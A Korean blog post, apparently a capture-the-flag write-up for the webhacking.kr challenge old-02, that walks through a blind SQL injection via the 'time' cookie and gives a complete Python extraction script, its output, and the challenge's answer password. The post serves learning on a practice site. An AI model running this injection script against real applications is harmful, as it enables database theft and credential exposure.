[webhacking.kr] old-02

gjdbqls25·2021년 4월 22일
1

🎆 Webhacking.kr 🎆

목록 보기
2/2

이번 문제는 old-01에 비하면 상당히 난이도가 있는 문제 입니다.

들어가면,

위 사진과 같은 내용이 뜹니다.
바로 f12를 눌러서 개발자 도구로 들어가줍니다.

html 코드를 보니, 주석으로

<!-- if you access admin.php i will kick your ass -->

라고 되어있는 부분이 있는데,
https://webhacking.kr/challenge/web-02/admin.php
에 들어갈 수 있다는 얘기인 것 같습니다.

admin.php에는 이런 내용이 있는걸로 봐서,
flag 같은걸 입력해야 할 것 같습니다.

old-02번 같은 문제는, Blind SQL Injection 을 이용해 풀 수 있습니다.

잠시 알아보기 위해, old-01 편과 같이 사이트의 Cookie를 확인해보겠습니다.

time 이라는 Cookie가 있습니다.
이 숫자를 아무렇게나 바꾸고 새로고침을 해보면,

html에 있던 주석 (2021-04-22 11:34:59) 이
2023-11-04 09:49:59 처럼 다른 숫자로 바뀌어 있습니다.

Cookie의 값을, (숫자) and 1=1 로 바꿔보니,
2070-01-01 09:00:00 이 나왔습니다.

이제 이를 이용해 Python으로 Table - Column - Password를 알아내는
코드를 짜서 작동시켜줍니다.

import urllib, urllib.request, re

#phpsessid에는 본인의 쿠키에 있는 값을 입력
phpsessid = ""
cookie = "time=({} limit {}, 1)>{};PHPSESSID="+ phpsessid

#inject 함수는 쿼리문을 수행한 결과를 True, False로 반환
def inject(params):
	url = "https://webhacking.kr/challenge/web-02/"
	req = urllib.request.Request(url)
	req.add_header("Cookie", cookie.format(*params))
	res = urllib.request.urlopen(req)
	read = res.read().decode("utf-8")
	return "2070-01-01 09:00:01" in read

#DB 값을 알아내기 위해 Binary Search를 활용
def binary_search(left, right, params):
	if left == right:
		return left

	mid = (left + right) // 2

	if inject(params+(mid,)):
		return binary_search(mid+1, right, params)
	else:
		return binary_search(left, mid, params)

#DB에 있는 데이터의 수를 알아내는 함수
def find_count(name, col, table):
	query = 'select count({}) from {}'.format(col, table)
	count = binary_search(0, 100, (query, 0))
	print(f"{name}: {count}")
	return count

#DB에 있는 데이터의 길이를 알아내기 위한 함수 
def find_length(name, col, table, rows):
	lengths = []
	query = 'select length({}) from {}'.format(col, table)
	for row in range(rows):
		length = binary_search(0, 100, (query, row))
		lengths.append(length)
		print(f"{name}[{row}]: {length}")
	return lengths

#DB에 있는 데이터의 내용을 알아내기 위한 함수
def find_word(name, col, table, rows, length):
	words = []
	query = "select ascii(substring({}, {}, 1)) from {}"
	for row in range(rows):
		word = ""
		for idx in range(1, length[row]+1):
			word += chr(binary_search(32, 127, (query.format(col, idx, table), row)))
			words.append(word)
			print(f"{name}[{row}]: {word}")
	return words

#데이터의 개수, 길이를 알아내고 최종적으로 DB에 있는 내용을 알아내도록 묶어놓은 함수
def find(name, col, table):
	count = find_count("count_"+name, col, table)
	length = find_length("length_"+name, col, table, count)
	word = find_word(name, col, table, count, length)
	return word


if __name__ == "__main__":
	find("tables", "table_name", "information_schema.tables where table_schema=database()") #현재 선택된 DB의 테이블을 탐색
	find("cols", "column_name", "information_schema.columns where table_name='admin_area_pw'") #위 함수로 알아낸 admin_area_pw 테이블의 칼럼을 탐색
	find("password", "pw", "admin_area_pw") #위 함수로 알아낸 pw 칼럼의 값을 탐색
    
    #(출처 ㅣ https://adecay.github.io/2020/05/22/webhacking-kr-old-2.html)

phpsessid 변수에는 아까 전에 변경했었던 Cookie의 값을
그대로 입력합니다.

그리고 실행하면, 아래와 같은 결과가 나올겁니다.

count_tables: 2
length_tables[0]: 13
length_tables[1]: 3
tables[0]: a
tables[0]: ad
tables[0]: adm
tables[0]: admi
tables[0]: admin
tables[0]: admin_
tables[0]: admin_a
tables[0]: admin_ar
tables[0]: admin_are
tables[0]: admin_area
tables[0]: admin_area_
tables[0]: admin_area_p
tables[0]: admin_area_pw
tables[1]: l
tables[1]: lo
tables[1]: log
count_cols: 1
length_cols[0]: 2
cols[0]: p
cols[0]: pw
count_password: 1
length_password[0]: 17
password[0]: k
password[0]: ku
password[0]: kud
password[0]: kudo
password[0]: kudos
password[0]: kudos_
password[0]: kudos_t
password[0]: kudos_to
password[0]: kudos_to_
password[0]: kudos_to_b
password[0]: kudos_to_be
password[0]: kudos_to_bei
password[0]: kudos_to_beis
password[0]: kudos_to_beist
password[0]: kudos_to_beistl
password[0]: kudos_to_beistla
password[0]: kudos_to_beistlab

맞습니다.
테이블 이름 admin_area_pw 과 log 이고,
저장된 비밀번호는 kudos_to_beistlab 입니다.

admin.php 페이지로 접근해서 비밀번호인 "kudos_to_beistlab" 를 입력하고
제출 버튼을 클릭하면, 성공적으로 완료됩니다.

0개의 댓글